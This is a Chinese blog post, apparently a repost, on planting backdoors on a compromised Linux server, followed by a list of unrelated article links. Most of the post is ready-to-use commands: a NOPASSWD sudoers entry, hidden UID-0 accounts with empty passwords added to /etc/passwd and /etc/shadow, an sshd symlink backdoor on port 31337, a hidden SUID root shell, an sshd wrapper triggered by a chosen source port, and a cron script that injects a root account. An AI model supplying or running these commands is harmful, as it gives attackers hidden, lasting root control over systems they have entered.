博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Linux后门账户控制
阅读量:5905 次
发布时间:2019-06-19

本文共 2460 字,大约阅读时间需要 8 分钟。

赋予用户sudo权限

vi /etc/sudoers

添加如下一行:

  USER ALL=(ALL) NOPASSWD: ALL

(实现当前用户允许转换成任意用户及执行任意命令)

 

添加root权限账户

(1)命令添加法

useradd -u 0 -o -g root -G root -d -s /bin/sh testing2

创建帐号:

# useradd [-u UID] [-g GID] [-d HOME] [-mM] [-s shell] username
参数说明:
-u :直接给予一个 UID 。指将uid指定为0(零)与root相同
-g :直接给予一个 GID (此 GID 必须已经存在于 /etc/group 当中)
-d :直接将用户家目录指向已经存在的目录
-M :不建立家目录
-s :定义其使用的 shell

-o :如果重复了uid(如与root帐号的uid重复)必须指定这个参数.

  pkill -kill -t 用户名    //踢出用户

 

(2)修改文件法

/etc/passwd各部分含义:

用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/et/shadow各部分含义:

用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用 

vi /etc/passwd 添加一行:  testing3:x:0:0::/:/bin/bashvi /etc/shadow 添加一行:  testing3::17068:0:99999:7:::

 验证测试

测试:可以用id testing1命令测试用户名testing1的属性

显示为:uid=0(root),gid=0(root),group=0(root)

 

快速获得ssh后门

在远程主机上执行:
#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

 

SUID shell

cp /bin/sh /etc/.scs & chmod 4755 /etc/.scs

普通用户执行 ./etc/.scs -p 即可获得root shell。

find / -perm +4000 -ls(查找那些具有 SUID 的文件)

 

远程后门:

利用 /etc/inetd.conf

 

#SSH wrapper backdoor

cd /usr/sbin && mv sshd ../bin
echo '#!/usr/bin/sh \n exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/); \n exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' > sshd
chmod u+x sshd
/etc/init.d/sshd restart
#控制端:socat STDIOTCP4:target_ip:22,sourceport=19526

 

(3)自动化脚本

(http://blog.csdn.net/yxyhack/article/details/1799791)

#!/bin/bash  #shell程序的开头标志echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;service crond restart;crontab /etc/door.cron;

第二行是将" 40 11 * * * cat /etc/passwd > /dev/ttypwd " 这段信息追加到/etc/door.cron文件中。

/etc/door.cron是用户自定义的crontab列表文件,任务计划就是依据这个文件的内容来执行的。
编写格式:  * * * * * command
前面的5个星分别代表分钟(0~59),小时(0~23),日期(1~31),月份(1~12),星期(0~6),星后面加要执行的命令。
那么第二行所代表的意思就是在每天的11点40分运行cat /etc/passwd > /dev/ttypwd,以此类推,运行到最后一行就是利用crontab命令让文件生效。

 

拓展阅读

linux设置开启执行命令:http://www.cnblogs.com/ssooking/p/6094740.html

 http://www.tuicool.com/articles/eIv22az

你可能感兴趣的文章
理解call和apply方法
查看>>
异步加载(延迟加载)与同步加载
查看>>
机器学习瓶颈 - 从黑盒白盒之争说起
查看>>
小程序图片上传七牛
查看>>
java交换两个变量值a,b的多钟方法
查看>>
Python中被双下划线包围的魔法方法
查看>>
JAVA核心编程教学
查看>>
Oracle:数据类型对应表
查看>>
洛谷P1349 广义斐波那契数列
查看>>
BZOJ3160 万径人踪灭
查看>>
Okhttp3请求网络开启Gzip压缩
查看>>
pycharm配置mysql数据库连接访问
查看>>
Spring源码学习:第0步--环境准备
查看>>
烂泥:rsync与inotify集成实现数据实时同步更新
查看>>
call & apply
查看>>
学习英语哦
查看>>
第六届蓝桥杯java b组第四题
查看>>
通过TortoiseGIT怎么把本地项目上传到GitHub
查看>>
Python 1 Day
查看>>
Python基础学习笔记(十:二进制位运算)
查看>>